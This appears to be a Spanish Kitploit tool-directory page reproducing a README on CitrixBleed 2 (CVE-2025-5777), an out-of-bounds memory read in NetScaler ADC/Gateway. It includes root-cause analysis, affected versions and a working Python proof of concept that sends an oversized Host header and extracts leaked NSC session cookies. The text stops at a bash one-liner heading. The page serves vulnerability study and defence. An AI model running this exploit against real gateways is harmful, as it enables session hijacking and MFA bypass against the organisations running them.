Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CitrixBleed-2-CVE-2025-5777-PoC- — Explicación detallada de CitrixBleed 2 — CVE-2025-5777 (fuga fuera de límites) PoC y kit de detección | Kitploit
Herramientas/GitHubGitHub/mingshenhk/citrixbleed-2-cve-2025-5777-poc-
Herramientas DefensivasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónPruebas de PenetraciónAprendizaje y EducaciónRed TeamingRespuesta a Incidentes
Labs y Práctica
GitHubmingshenhk/citrixbleed-2-cve-2025-5777-poc-

CitrixBleed-2-CVE-2025-5777-PoC-

Explicación detallada de CitrixBleed 2 — CVE-2025-5777 (fuga fuera de límites) PoC y kit de detección

Ver Repositorio
17212hace 1 añoAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CitrixBleed 2 (CVE-2025-5777): Análisis Definitivo

An Out-of-Bounds Memory Read in NetScaler ADC / Gateway — Un manual completo desde la causa raíz hasta los ejercicios de ataque y defensa


poc用法:python3 poc.py https://gateway.example.com exp用法:python3 exp.py https://gateway.example.com admin 7acbb35f4d...

Índice

0x00  Introducción / Resumen rápido
0x01  Contexto: Arquitectura de NetScaler y repaso de CitrixBleed 1
0x02  Descripción de la vulnerabilidad (versiones afectadas, CVSS, consecuencias de la explotación)
0x03  Análisis profundo del mecanismo de activación (análisis a nivel de código fuente y capturas de depuración)
0x04  PoC mínimo + script de escaneo avanzado
0x05  Perspectiva del equipo rojo: cadena de ataque completa (detección → fuga → secuestro de sesión → movimiento lateral en la red interna)
0x06  Perspectiva del equipo azul: detección, forensia y verificación de parches
0x07  Endurecimiento defensivo: parches, WAF, configuración, gestión de activos
0x08  Hoja de ruta de aprendizaje / repaso y laboratorios prácticos
Apéndice A  Reglas Sigma / Suricata / Nginx-Lua
Apéndice B  Cronología de parches/explotación e instantánea de IoC
Referencias

0x00 Introducción / Resumen rápido

  • CVE-2025-5777 (también conocido como CitrixBleed 2) es una lectura de memoria fuera de límites (Out-of-Bounds Memory Read) en Citrix NetScaler ADC / Gateway.
  • El atacante no necesita autenticación: basta con enviar una petición GET con una cabecera Host extremadamente larga para que el dispositivo "escupe" al cliente bloques de memoria aleatoria junto con la respuesta HTTP.
  • Los datos filtrados suelen incluir materiales críticos como cookies NSC_USER / NSC_TASS, StateContext de SAML, tokens MFA, que pueden reutilizarse directamente para realizar el secuestro de sesión y la evasión de MFA ([arcticwolf.com][1], [tenable.com][2]).
  • Puntuación base CVSS v4 de 9.3 (Crítico) ([netscaler.com][3]).
  • Divulgado el 2025-06-17; el 2025-06-23, Citrix amplió el alcance de los productos afectados y publicó parches; en una semana, proveedores de seguridad como ReliaQuest y Bishop Fox observaron sucesivamente un aumento de la explotación en la naturaleza ([reliaquest.com][4], [bishopfox.com][5]).

0x01 Contexto

1.1 Breve descripción del flujo de trabajo de NetScaler

┌──────────────┐
│ Client       │ ① HTTPS
└──────┬───────┘
       │
┌──────▼───────┐
│ NetScaler    │ ② AAA / Gateway 认证
│  (WebProc)   │
└──────┬───────┘
       │
┌──────▼───────┐
│ ICA Proxy /  │ ③ 正向到应用
│ CVPN / RDP   │
└──────────────┘

NetScaler adopta un diseño de múltiples procesos + IPC interno. WebProc se encarga de procesar la mayoría de las peticiones HTTP en la ruta AAA / Gateway, incluyendo /nf/auth/*, /oauth/*, etc. Hace un uso intensivo de snprintf() / memcpy() en lenguaje C cada vez que compone fragmentos XML/HTML.

1.2 Repaso de CitrixBleed 1 (CVE-2023-4966)

  • En 2023, una vulnerabilidad de la misma índole ocurrió en el endpoint de descubrimiento OAuth /oauth/idp/.well-known/openid-configuration.
  • Su esencia era la misma: usar el valor de retorno de snprintf como parámetro len del posterior send() → eco de memoria fuera de límites.
  • CitrixBleed 2 demuestra que el mismo tipo de defecto de codificación segura sigue latente en otras rutas.

Lección aprendida: si los parches de seguridad solo corrigen el "punto de impacto" en lugar del "paradigma de programación", se deja espacio para la "reproducción con plantillas".


0x02 Descripción de la vulnerabilidad

CampoContenido
CVECVE-2025-5777
AliasCitrixBleed 2
Tipo de vulnerabilidadLectura fuera de límites / Fuga de información
CVSS v4 Base9.3 (Crit.) ([netscaler.com][3])
Versiones afectadas< 14.1-43.56 ; < 13.1-58.32 ; 13.1-37.235-FIPS/NDcPP ; 12.1-55.327-FIPS ([netscaler.com][3])
Requisitos de explotaciónNetScaler configurado como Gateway (VPN/ICA Proxy/CVPN/RDP Proxy) o servidor virtual AAA ([arcticwolf.com][1])
Consecuencias de la explotaciónFuga de memoria → tokens de sesión → evasión de autenticación / evasión de MFA → movimiento lateral

0x03 Análisis profundo del mecanismo de activación

Esta sección se basa en la descompilación del firmware 13.1-55.18 + depuración con gdb, recopilada a partir de blogs públicos ([bishopfox.com][5]).

3.1 Punto de entrada de la vulnerabilidad

  • URI: /nf/auth/startwebview.do
  • Parámetro controlable: cabecera HTTP Host
  • Este endpoint se utiliza para generar el XML de redirección de Citrix Workspace WebView. Ejemplo de respuesta normal:
<AuthenticateResponse>
  <wv:StartUrl>https://gateway.example.com/Citrix/AAA/start.html</wv:StartUrl>
  ...
</AuthenticateResponse>

3.2 Cadena de funciones clave

citrix_webview_handler()
 ├─ build_auth_xml()
 │    ├─ snprintf(buf, 0x1800, TEMPLATE, host_hdr, ... );
 │    └─ return length;           // ⚠️ length 可 > 0x1800
 └─ ns_vpn_send_response(conn, 0x980200, buf, length);

Punto del bug: snprintf devuelve la "longitud que debería haberse escrito" en lugar de la longitud realmente escrita; si el Host proporcionado por el usuario supera 0x1800 - longitud del segmento constante, entonces length > sizeof(buf).

3.3 Representación en tiempo de ejecución

buf: [-----XML-----][OOB][OOB][OOB]......            <- 0x1800 bytes limit
                          ↑
                被 ns_vpn_send_response 一并发出

Demostración del punto de interrupción en GDB (registros clave):

RDI (dst) = 0x7fffa2e31800  // buf
RSI (len) = 0x00001e42      // length=7746 (>6144)

Los resultados de read() muestran que los últimos 1600 bytes provienen de memoria no inicializada, donde se pueden apreciar buffers de cookies de otras sesiones SSL.

3.4 Categorías de datos filtrados

CategoríaFragmento de ejemplo (anonimizado)
Session CookieSet-Cookie: NSC_USER=john.doe;NSC_TASS=abc123...
MFA/OTP Tokenradius_state=0e2a9c6d1553...
Otros cuerpos de petición<username>audituser</username><password>***</password>

0x04 Implementación del PoC

4.1 Python en un solo archivo (15 líneas)

#!/usr/bin/env python3
# CVE-2025-5777 Minimal PoC  (authorized testing ONLY)
import requests, sys, urllib3, re
urllib3.disable_warnings()

if len(sys.argv) != 2:
    exit(f"Usage: {sys.argv[0]} https://NSVIP")

url = sys.argv[1].rstrip("/") + "/nf/auth/startwebview.do"
hdr = {"Host": "A" * 0x6000}               # >0x1800 triggers
r = requests.get(url, headers=hdr, verify=False, timeout=10)

print("[+] HTTP", r.status_code, "bytes:", len(r.content))
hits = re.findall(br"(NSC_[A-Z]+=[^;]{10,})", r.content)
for h in hits: print("  Cookie leak ->", h.decode())

open("leak.bin", "wb").write(r.content)
print("[+] Saved leak.bin for offline grep.")
  • Tras la ejecución, si devuelve un 200 + varios KB, se determina que la vulnerabilidad está presente.
  • Además, busca en leak.bin palabras clave como Cookie=, <AuthenticateContext>, etc.

4.2 Bash / curl en una sola línea

Descargar herramienta